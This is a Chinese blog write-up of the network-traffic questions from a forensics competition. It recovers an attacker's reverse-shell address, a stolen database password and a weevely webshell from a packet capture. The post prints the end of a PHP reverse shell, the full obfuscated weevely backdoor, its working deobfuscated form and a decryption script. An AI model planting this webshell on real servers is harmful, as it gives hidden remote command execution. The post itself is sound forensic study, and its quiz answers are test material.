fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}

?> 

rev.txt

分析网络流量包检材,攻击者反弹shell的地址及端口是?(答案格式:192.168.1.1:1234) (4分)

追踪流里有

192.168.75.132:30127

分析网络流量包检材,攻击者电脑所使用的Python版本号是?(答案格式:1.1.1) (2分)

追踪流里有

3.11.8

分析网络流量包检材,受害者服务器中网站所使用的框架结构是?(答案格式:thinkphp) (2分)

上传webshell,下一步肯定是执行命令,往下翻,在下一个3268流里有相关信息,即在服务器执行的命令记录

wordpress

分析网络流量包检材,攻击者获取到的数据库密码是?(答案格式:大小写按实际值填写) (4分)

同个流里有——mysql数据库

sWfCsfJSPV9H3AmQzw8

分析网络流量包检材,攻击者上传了一个weevely木马进行权限维持,上传时所使用的端口号为?(答案格式:3306) (2分)

同个流里有

2000

分析网络流量包检材,攻击者上传了一个weevely木马进行权限维持,该木马第一次执行时获取到的缓冲区内容是?(答案格式:按实际值填写) (4分)

要知道木马第一次执行时获取到的缓冲区内容,就需要先找到木马文件

流3269

weevely 木马文件内容

具体解析过程参考:weevely的webshell分析以及冰蝎/蚁剑免杀-PHP版_两重明文混淆webshell-CSDN博客

<?php
$q='uv1o2g6mkn7y";fv1unctiv1ov1n x(v1$t,$k){$c=v1strlen(v1$k)v1;v1$l=strlenv1($t);$o';
$k='tents(v1"php://iv1nput"),$v1mv1)==1) {@ov1b_start();v1@ev1val(@v1gzuncomv1press(@x(@';
$A='$k="c6v1ae1ev170";$khv1="cbbf9v1691e009";v1$v1kv1f="85a8v19e92c410";$p="dv1zINv1Rg';
$o='="v1";forv1($i=0;$v1iv1v1<$l;){fv1v1or($j=0;($j<$c&&$i<$lv1);$j++,$i++)v1{v1$o.=v1$t{$i}^';
$D=str_replace('cM','','cMcreacMte_cMfcMunccMcMtion');
$Q='$k{$j}v1v1;}}return v1$o;v1}if (@pregv1_v1match("/v1$kh(.+)v1v1$kf/",@v1fv1ile_get_cov1n';
$Z='leanv1();$r=@base6v14_ev1ncv1ode(v1@x(@gzcov1mpress($ov1),$v1kv1));printv1("$p$kh$r$kf");}';
$w='v1basev164_decodev1($mv1[v11]),$v1k)));$o=@ov1b_get_contev1nts(v1v1);@ob_env1d_c';
$S=str_replace('v1','',$A.$q.$o.$Q.$k.$w.$Z);
$C=$D('',$S);$C();
?>

代码混淆了,要反混淆一下,直接投喂AI(YYDS)

值和代码有点问题,需要手动修改

<?php
$k="c6ae1e70";
$kh="cbbf9691e009";
$kf="85a89e92c410";
$p="dzINRguo2g6mkn7y";
function x($t,$k){
$c=strlen($k);
$l=strlen($t);
$o="";
for($i=0;$i<$l;){
  for($j=0;($j<$c&&$i<$l);$j++,$i++){
    $o.=$t{$i}^$k{$j};
    }
    }
    return $o;
    }
    if (@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1) {
    @ob_start();
    @eval(@gzuncompress(@x(@base64_decode($m[1]),$k)));
    $o=@ob_get_contents();
    @ob_end_clean();
    $r=@base64_encode(@x(@gzcompress($o),$k));
    print("$p$kh$r$kf");
    }
?>

流3274找相关的值,传输的请求和返回都在cbbf9691e00985a89e92c410之间

[

第一个命令是echo(57638),写一个解密脚本

<?php
$k="c6ae1e70";
$kh="cbbf9691e009";
$kf="85a89e92c410";
$p="dzINRguo2g6mkn7y";
function x($t,$k){
$c=strlen($k);
$l=strlen($t);
$o="";
for($i=0;$i<$l;){
  for($j=0;($j<$c&&$i<$l);$j++,$i++){
    $o.=$t{$i}^$k{$j};
    }
    }
    return $o;
    }
$msg = "G6pSUAZWgTBjNUtkPw==";
echo(@gzuncompress(@x(@base64_decode($msg),$k)));
?>

57638

总结

这次数证杯包括计算机,服务器,手机,apk,exe,流量,数据分析,u盘这八个部分。个人认为难点在java服务器的环境调试和网站重构,apk和exe的逆向,以及数据分析这块。当然和我个人能力有关系,逆向知识面几乎为0,服务器见过的环境烨比较少,而且也对大数据分析不太感冒,另外还有vc的挂载还需学习。复盘了这次比赛,学到的知识还是很多的。数证杯初赛难度比较大,也说明这给比赛质量很高,后面继续复盘决赛的个人和团队,继续加油!

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值